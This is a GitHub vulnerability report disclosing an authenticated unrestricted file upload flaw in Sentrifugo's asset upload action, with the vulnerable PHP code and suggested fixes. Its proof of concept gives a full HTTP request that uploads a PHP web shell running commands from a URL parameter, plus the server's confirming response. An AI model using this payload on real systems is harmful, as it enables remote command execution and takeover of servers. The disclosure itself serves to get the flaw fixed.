Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Authenticated - Unrestricted file upload #384

Open
nhienit2010 opened this issue Mar 8, 2023 · 0 comments
Open

Authenticated - Unrestricted file upload #384

nhienit2010 opened this issue Mar 8, 2023 · 0 comments

Comments

@nhienit2010
Copy link

Bug: Authenticated - Unrestricted file upload

Description

The AssetsController::uploadsaveAction function allows an authenticated attacker to upload any file without extension filtering.

Vulnerability Detail

The uploadsaveAction function allows an attacker to take full control of the extension and save it to ASSETS_IMAGES_TEMP_PATH

/* /application/modules/assets/controllers/AssetsController.php */
public function uploadsaveAction()
	{
			
		$assetsModel = new Assets_Model_Assets();
		$user_id = sapp_Global::_readSession('id');
		$image;
        $filedata = array();
    	// Validate file with size greater than default(Upload Max Filesize)limit
        if ($_FILES["myfile"]["size"] == 0 || $_FILES["myfile"]["size"] > (2*1024*1024)) 
			{
				$this->_helper->json(array('error' => 'filesize'));
			}
		else if(isset($_FILES["myfile"])) {
            $fileName = $_FILES["myfile"]["name"];
			$image = $fileName;
            $fileName = preg_replace('/[^a-zA-Z0-9.\']/', '_', $fileName);			  	
            $newName  = time().'_'.$user_id.'_'.str_replace(' ', '_', $fileName); 
            $filedata['original_name'] = $fileName;
            $filedata['new_name'] = $newName;
			$file_type_array = explode('.',$filedata['original_name']);
			$file_type = $file_type_array[1];
			
			
			move_uploaded_file($_FILES["myfile"]["tmp_name"],ASSETS_IMAGES_TEMP_PATH.$newName);
      ...

Proof of concept

REQUEST:

POST /sentrifugo/index.php/assets/assets/uploadsave HTTP/2
Host: localhost:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Cookie: PHPSESSID=4c6885df75ee21adc859130d344ad10e
Content-Type: multipart/form-data; boundary=---------------------------105724483522942151783772139738
Content-Length: 256


-----------------------------105724483522942151783772139738
Content-Disposition: form-data; name="myfile"; filename="shell.php"
Content-Type: image/jpeg

<?php
	system($_GET["cmd"]);
?>
-----------------------------105724483522942151783772139738--

RESPONSE:

HTTP/1.1 200 OK
Date: Wed, 08 Mar 2023 06:41:21 GMT
Server: Apache/2.2.29 (Unix) mod_wsgi/3.5 Python/2.7.10 PHP/5.6.10 mod_ssl/2.2.29 OpenSSL/0.9.8zh DAV/2 mod_fastcgi/2.4.6 mod_perl/2.0.9 Perl/v5.22.0
X-Powered-By: PHP/5.6.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 78
Connection: close
Content-Type: text/html;charset=UTF-8

{"filedata":{"original_name":"shell.php","new_name":"1678257682_1_shell.php"}}

image-20230308134229160
image-20230308134249938

Solution

  • Validate file type: Ensure that the uploaded file matches the expected file type and size limit. This can be done by checking the file extension or using a file type validation library.
  • Sanitize file names: Ensure that the file names are sanitized to prevent directory traversal attacks. This involves removing any special characters, whitespace, and other potentially harmful characters.
  • Store files outside the webroot: Store uploaded files outside of the web application's root directory to prevent them from being executed as scripts..
  • Implement access controls: Implement access controls to ensure that only authorized users can upload files. This can include requiring authentication, setting permissions, and limiting upload privileges.

Acknowledgement

nhienit at bl4ckh0l3 from Galaxy One

@nhienit2010 nhienit2010 changed the title Security issue Authenticated - Unrestricted file upload Mar 8, 2023
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant